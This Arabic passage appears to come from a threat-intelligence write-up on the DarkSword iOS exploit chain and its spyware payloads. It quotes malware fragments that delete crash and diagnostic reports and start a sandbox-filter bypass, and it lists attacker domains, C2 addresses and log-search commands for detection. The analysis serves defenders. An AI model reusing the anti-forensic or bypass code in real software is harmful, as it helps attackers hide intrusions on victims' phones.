      MyHelper.deleteFileAtPath(file);
    }
  }
}

تقرأ الدالة قائمة الملفات من دليل تقارير الأعطال، ثم تختار أسماء مرتبطة بخدمات ظهرت في سلسلة الاستغلال أو بخطأ على مستوى النظام. يعبّر mediaplaybackd عن العملية التي تصل إليها إحدى مراحل تجاوز العزل، بينما تشير أنماط WebKit إلى المكونات التي تستقبل محتوى الويب. أما panic-full- فيرتبط بتقارير أعطال نظامية أشد خطورة.

هذه الدالة ليست برهانًا على أن كل تشغيل للسلسلة يسبب انهيارًا ظاهرًا، بل تكشف نية إزالة بعض الأدلة المحتملة. وعلى المحلل الجنائي عدم مساواة حذف الملفات بمحو الآثار كافة؛ فقد توجد آثار أخرى في لقطات جمع البيانات، وسجلات الشبكة، وآليات تشخيص مختلفة بحسب الإصدار وظروف الجهاز.

تنظيم مخرجات الوحدات

أشار التحقيق إلى نمط تسمية مخرجات الوحدات داخل STORAGE:

/tmp/<uuid>.<numbers>/STORAGE/<uuid2>.<id>

يمثّل uuid وuuid2 قيمتين عشوائيتين من نمط UUIDv4، بينما يشير id إلى رقم الوحدة التي جمعت المخرجات. وتساعد هذه البنية في تفسير لماذا لا يمكن الاعتماد على اسم ملف ثابت للبحث عن GHOSTKNIFE: العشوائية جزء من أسلوب التخزين نفسه، مع بقاء شكل الدليل والنشاط المرتبط به ذا قيمة تحليلية عندما يظهر في سياقه الصحيح.

#GHOSTSABER: منصة أوامر مع وظائف لم تُشاهد مكتملة

ظهرت GHOSTSABER في نشاط ارتبط بـPARS Defense. تدعم الحمولة جرد الحسابات والتطبيقات والملفات، وقراءة بيانات من قواعد SQLite، وتنفيذ شيفرة JavaScript مرسلة من الخادم. إلا أن بعض الأوامر الموجودة في العينات لم تكن تملك تنفيذًا مكتملًا داخل الشيفرة التي حصل عليها الباحثون، ومنها أوامر مرتبطة بالموقع الجغرافي والتسجيل الصوتي والتقاط الشاشة.

وأشار التحليل إلى دالة باسم send_command_to_upper_process تتعامل مع منطقة ذاكرة مشتركة، ما دفع الباحثين إلى ترجيح إمكانية توفير بعض الوظائف عبر وحدة ثنائية تُحمّل لاحقًا. ويظل ذلك تفسيرًا بحثيًا، وليس إثباتًا بأن جميع تلك القدرات استُخدمت فعليًا في الحملات المرصودة.

واجهة الأوامر المرصودة في GHOSTSABER

قدّم التحقيق أسماء الأوامر داخل العينة نفسها، وهي مفيدة لفهم واجهة التحكم بالحمولة. الجدول التالي يفرّق بين الوظائف التي وُجد لها تنفيذ في المقتطفات المحللة والوظائف التي كانت مراجعها موجودة دون التنفيذ اللازم داخل العينة:

أهم أمرين من زاوية القدرة العامة هما ExecuteSqliteQuery وEvalJs. الأول يُوسّع جمع البيانات إلى قواعد SQLite التي تكون عملية الحمولة قادرة على قراءتها، بدل الاعتماد على قائمة ثابتة من ملفات التطبيق؛ والثاني يتيح إضافة سلوك برمجي يرسله الخادم. لذلك لا يمكن اختزال تأثير الحمولة في الوظائف التي تظهر أسماءها صراحة داخل الشيفرة الأساسية.

لكن لا يجوز افتراض أن الأوامر غير المنفذة كانت تعمل بالفعل. فرضية الباحثين بشأن وحدة لاحقة تستخدم send_command_to_upper_process تبقى فرضية مبنية على دلالة منطقة الذاكرة المشتركة واستدعاءات غير مكتملة، لا رصدًا مؤكّدًا لوظائف تسجيل الصوت أو التقاط الشاشة في هذه العينة.

#GHOSTBLADE: سرقة البيانات دون باب خلفي طويل الأمد

استخدمت UNC6353 الحمولة GHOSTBLADE، التي تركز على جمع البيانات وإرسالها عبر HTTP(S)، دون الحاجة إلى بنية تشغيل دائمة أو وحدات إضافية مماثلة. شملت البيانات المستهدفة رسائل iMessage وWhatsApp وTelegram، وجهات الاتصال، وسجل المكالمات، وبيانات Safari، والصور، والملاحظات، وبيانات الموقع، وبعض محتويات المحافظ الرقمية.

احتوت العينة أيضًا على منطق لحذف تقارير الأعطال، وعلى آثار شيفرة ومجلدات تطوير مكّنت الباحثين من استنتاج بنية مكتبات الاستغلال. ورجّح فريق Google أن مطوري DarkSword أنفسهم قد يكونون وراء هذه الحمولة، استنادًا إلى تشابه أنماط الشيفرة واندماجها الوثيق مع مكتبات السلسلة، لكنه لم يطرح ذلك باعتباره إسنادًا مؤكدًا.

الملفات المستهدفة وبنية السلوك

بخلاف الحمولتين الأخريين، وصف الفريق GHOSTBLADE بأنها أداة لا تعمل بصورة مستمرة. وهذا لا يجعل أثرها محدودًا؛ فالخطر هنا في كمية البيانات التي يمكن استخراجها خلال تشغيل قصير، لا في وجود باب خلفي دائم.

مثال آخر على محو آثار الأعطال

عرض الفريق الدالة التالية من GHOSTBLADE، مع اختلاف مسار الحذف عن GHOSTKNIFE:

static deleteCrashReports() {
  this.getTokenForPath(
    "/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",
    true
  );
  libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"].deleteDir(
    "/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",
    true
  );
}

تطلب الدالة رمز وصول للمسار عبر getTokenForPath، ثم تستخدم الواجهة FileUtils لإزالة دليل تقارير التشخيص. ويمثل ظهور الاسم libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__ أثرًا من طريقة بناء الشيفرة بحزمة Webpack، وهو ما ساعد الباحثين على استنتاج بنية المكتبات.

آثار شيفرة المصدر ودلالة المكتبات

src/libs/Chain/Native.js
src/libs/Chain/OffsetsStruct.js
src/libs/Driver/Driver.js
src/libs/TaskRop/PAC.js
src/libs/TaskRop/RemoteCall.js
src/libs/TaskRop/Sandbox.js
src/libs/TaskRop/TaskRop.js
src/libs/TaskRop/VM.js
src/libs/JSUtils/FileUtils.js
src/MigFilterBypassThread.js
src/loader.js
src/main.js

هذه مسارات مصدرية مستخرجة من آثار البناء، وليست ملفات ثبت وجودها بهذه الأسماء على أجهزة الضحايا. يشير التقسيم إلى مكتبات للتعامل مع الذاكرة والمهام والاستدعاءات الأصلية، وأخرى للتعامل مع الملفات، وهو ما يفسر اعتماد الحمولات على طبقة مشتركة من وظائف ما بعد الاستغلال.

كما وجد الباحثون المقتطف التالي من الشيفرة:

// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
if (ver.major == 24 && ver.minor >= 4) {
  mutexPtr = BigInt(
    libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol(
      "malloc", 0x100
    )
  );
  libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol(
    "pthread_mutex_init", mutexPtr, null
  );
  migFilterBypass = new MigFilterBypass(mutexPtr);
}

على الرغم من صياغة التعليق، فإن ver يُستخرج في العينة من بيانات uname الخاصة بإصدار نواة XNU، لا من رقم iOS الظاهر في واجهة الجهاز مباشرة. واعتبر الباحثون وجود سلوك شرطي مخصص للإصدارات الأحدث قرينة على احتمال أن الحمولة قادرة على التشغيل في بيئات لا تغطيها سلسلة DarkSword التي رُصدت؛ ولم يثبتوا حملة إضافية على تلك الإصدارات. ويُظهر المقتطف إنشاء قفل تزامن واستدعاء كائن MigFilterBypass، لكنه لا يعرض تنفيذ آلية التجاوز ذاتها.

#مؤشرات مهمة للتحليل الجنائي وعمليات الرصد

توضح العينات أن البحث عن ملف تنفيذي مشبوه وحده ليس نموذج رصد كافيًا لهذا النوع من الهجمات. فالاستغلال قد يبدأ داخل المتصفح، ثم ينتقل بين عمليات النظام، مع محاولات إزالة آثار الأعطال. وتبرز في التقرير مؤشرات سياقية تستحق الربط مع سجلات الشبكة والتحليل الجنائي للأجهزة:

snapshare[.]chat
static.cdncounter[.]net
frame.html
rce_loader.js
rce_worker_18.4.js
rce_worker_18.6.js
rce_worker_18.7.js
sbox0_main_18.4.js
sbx1_main.js
pe_main.js

#المؤشرات الشبكية المنشورة للحملات

تضم قائمة المؤشرات التي نشرها فريق GTIG مع التقرير نطاقات إضافية ووظيفتها في العمليات المرصودة. وكانت أسماء النطاقات التالية مرتبطة بتسليم سلسلة الاستغلال أو بإخراج البيانات:

snapshare[.]chat
sahibndn[.]io
e5.malaymoil[.]com
static.cdncounter[.]net
sqwas.shapelie[.]com

ارتبط الأول بحملة UNC6748 ضد مستخدمين في السعودية، والثاني والثالث بحملتي PARS Defense في تركيا وماليزيا، والرابع بمرحلة التسليم لدى UNC6353 في أوكرانيا، بينما استخدم الأخير خادمًا لإخراج بيانات GHOSTBLADE. وتعرض الصياغة بين الأقواس النقطة بصورة معطلة لتجنب فتح النطاقات عرضًا.

ونشر الفريق عنواني خادم قيادة وتحكم رُبطا بحمولة GHOSTKNIFE في نوفمبر 2025:

62.72.21.10
72.60.98.48

كما أتاح قيمة تجزئة من نوع SHA-256 لعينة مستخرجة من GHOSTBLADE:

2e5a56beb63f21d9347310412ae6efb29fd3db2d3a3fc0798865a29a3c578d35

هذه مؤشرات تاريخية مرتبطة بالحملات التي تناولها التحقيق، ولا يفترض أن تبقى البنية التحتية نفسها مملوكة للمهاجمين إلى الأبد. لذلك يُعتمد على المطابقة ضمن فترة زمنية وسياق اتصال معقول، لا على استنتاج إصابة مؤكدة من ظهور عنوان منفرد.

#أمثلة على البحث في سجلات الشبكة

إذا كانت سجلات Proxy أو DNS متاحة بصيغة نصية، يمكن البحث عن النطاقات المذكورة باستخدام الأمر التالي على أنظمة Linux التي تحتوي أداة ripgrep:

rg -n -i 'snapshare\.chat|static\.cdncounter\.net|sahibndn\.io|e5\.malaymoil\.com|sqwas\.shapelie\.com' ./proxy-logs/

تحدد -n رقم السطر و-i البحث دون حساسية لحالة الأحرف. ويستهدف التعبير النمطي اسم النطاق العادي الذي يُسجّل في الطلبات، وليس الصياغة المعطلة المستخدمة في المقال. كما أن وضع \. يعامل النقطة على أنها حرف فعلي، بدل أن تكون حرفًا عامًا في التعبير النمطي.

وعلى Windows PowerShell يمكن إجراء بحث مكافئ في سجلات نصية محلية:

Select-String -Path 'C:\Logs\Proxy\*.log' `
  -Pattern 'snapshare\.chat','static\.cdncounter\.net',
           'sahibndn\.io','e5\.malaymoil\.com','sqwas\.shapelie\.com'

يعيد الأمر الأسطر المطابقة للنطاقات، ولا يثبت بحد ذاته تحميل المرحلة الخبيثة أو نجاح سلسلة الاستغلال. فقد يتضمن السجل زيارة منعها نظام الحماية، أو طلبًا إلى خادم أعاد توجيه المستخدم دون تنفيذ الحمولة.

ويمكن أيضًا الاستفادة من أسماء الأوامر الفريدة نسبيًا عند تحليل نصوص ملفات JavaScript المستخرجة، مثل send_command_to_upper_process وChangeStatusCheckSleepInterval. وقد نشر GTIG قواعد YARA منفصلة لعائلات GHOSTKNIFE وGHOSTSABER وGHOSTBLADE ولآثار مسارات المكتبات؛ وهي مرجع أدق للفحص القائم على محتوى العينات من مطابقة اسم ملف عام بمفرده.

هذه الأسماء ليست جميعها مؤشرات حاسمة بصورة منفردة؛ بعضها أسماء ملفات عامة نسبيًا، وقد تتغير بين الحملات. كما أن النطاقات مكتوبة بصيغة معطلة (Defanged) لمنع فتحها مباشرة. تأتي قيمتها من ارتباطها بالتوقيت ونسخة الجهاز وسلوك الاتصال والآثار الأخرى، لا من المطابقة النصية وحدها.

ومن المسارات التي أظهر التحليل ارتباطًا لها بمحاولات إزالة آثار الأعطال:

/var/mobile/Library/Logs/CrashReporter/
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/

لكن غياب سجل عطل لا يثبت الاختراق؛ فقد تُحذف السجلات لأسباب مشروعة، أو لا تُنشأ أصلًا في كل محاولة. كذلك لا يعني وجود اسم مثل rce_loader.js على خادم أو في سجل شبكة وقوع استغلال ناجح. الاستنتاج الصحيح يحتاج إلى تجميع الأدلة، خصوصًا أن بعض الحملات لم تستخدم الملفات والأسماء نفسها على نحو متطابق.

#ماذا عن الحماية والإصدارات المصححة؟

أفاد تقرير Google بأن الثغرات الست التي شملتها السلسلة كانت قد عولجت بحلول إصدار iOS 26.3، وإن سبق إصلاح عدد منها ذلك الإصدار. وهناك تفصيل زمني مهم عند قراءة التقرير اليوم: أعلنت Apple أن iOS 18.7.7 صدر في 24 مارس 2026، ثم وسّعت إتاحته إلى أجهزة إضافية في 1 أبريل 2026 لتوفير الحماية من هجمات الويب المرتبطة بـDarkSword لمستخدمي الإصدار الأقدم.

وعليه، فإن الاعتماد على عبارة «الجهاز يعمل بنظام iOS 18» وحدها لا يكفي للحكم على قابليته للاستغلال؛ يجب التحقق من رقم الإصدار الدقيق وحالة التصحيحات الفعلية. ويظل تحديث الجهاز إلى أحدث إصدار أمني متوافق معه هو الإجراء الأهم. أما Lockdown Mode فيمثل طبقة تخفيف إضافية للحسابات المعرضة لهجمات موجهة، خصوصًا عندما يتعذر التحديث مباشرة، لكنه ليس بديلًا عن معالجة الثغرات.

من الناحية الدفاعية، تبرز ثلاث أولويات: تحديث النظام، وتقليل التعرض لصفحات الويب غير الموثوقة، وربط معلومات التهديدات بسجلات الأجهزة والشبكات متى كانت متاحة. وعلى فرق الاستجابة للحوادث الانتباه أيضًا إلى أن غياب برمجية ظاهرة أو تطبيق جديد لا ينفي احتمال حدوث استخراج بيانات من خلال سلسلة استغلال قائمة على الذاكرة وواجهات النظام.

#لماذا تتجاوز أهمية DarkSword هذه الحملات؟

تكشف القضية عن ظاهرة أعمق من استهداف إصدار محدد من هواتف iPhone: انتقال سلسلة استغلال متقدمة بين أطراف مختلفة، مع احتفاظ كل طرف بحرية تغيير طريقة التسليم والحمولة النهائية. فقد ظهرت السلسلة عبر صفحة مموّهة في حملة، وموقع مشروع مخترق في أخرى، وآليات تشفير وتحليل بصمة الجهاز في ثالثة.

كما أن المقارنة مع سلسلة Coruna التي درسها باحثو Google توضح الفارق بين امتلاك ثغرات متقدمة وامتلاك منظومة تسليم ناضجة. اتسمت DarkSword بتعقيد كبير داخل مراحل الاستغلال، لكنها أظهرت أخطاء لافتة في بعض محمّلاتها. وفي المقابل لم تمنع تلك الأخطاء استخدامها في عمليات فعلية.

الخلاصة أن السيطرة على جهاز حديث ليست بالضرورة نتيجة «ثغرة خارقة» واحدة. أحيانًا تكون النتيجة حصيلة ست نقاط ضعف صغيرة نسبيًا في طبقات مختلفة، رتّبها المهاجم في تسلسل صحيح. وعندما تصبح هذه السلسلة قابلة لإعادة الاستخدام، ينتقل الخطر من حملة منفردة إلى قدرة هجومية يمكن تكييفها مع أهداف متعددة؛ وهذا هو الدرس التقني والأمني الأهم في DarkSword.

#المصادر

• Google Threat Intelligence Group — The Proliferation of DarkSword: iOS Exploit Chain Adopted by Multiple Threat Actors
• Apple Security — About the security content of iOS 18.7.7 and iPadOS 18.7.7
• Lookout — DarkSword iOS Exploit Chain
• iVerify — DarkSword iOS Exploit Kit Explained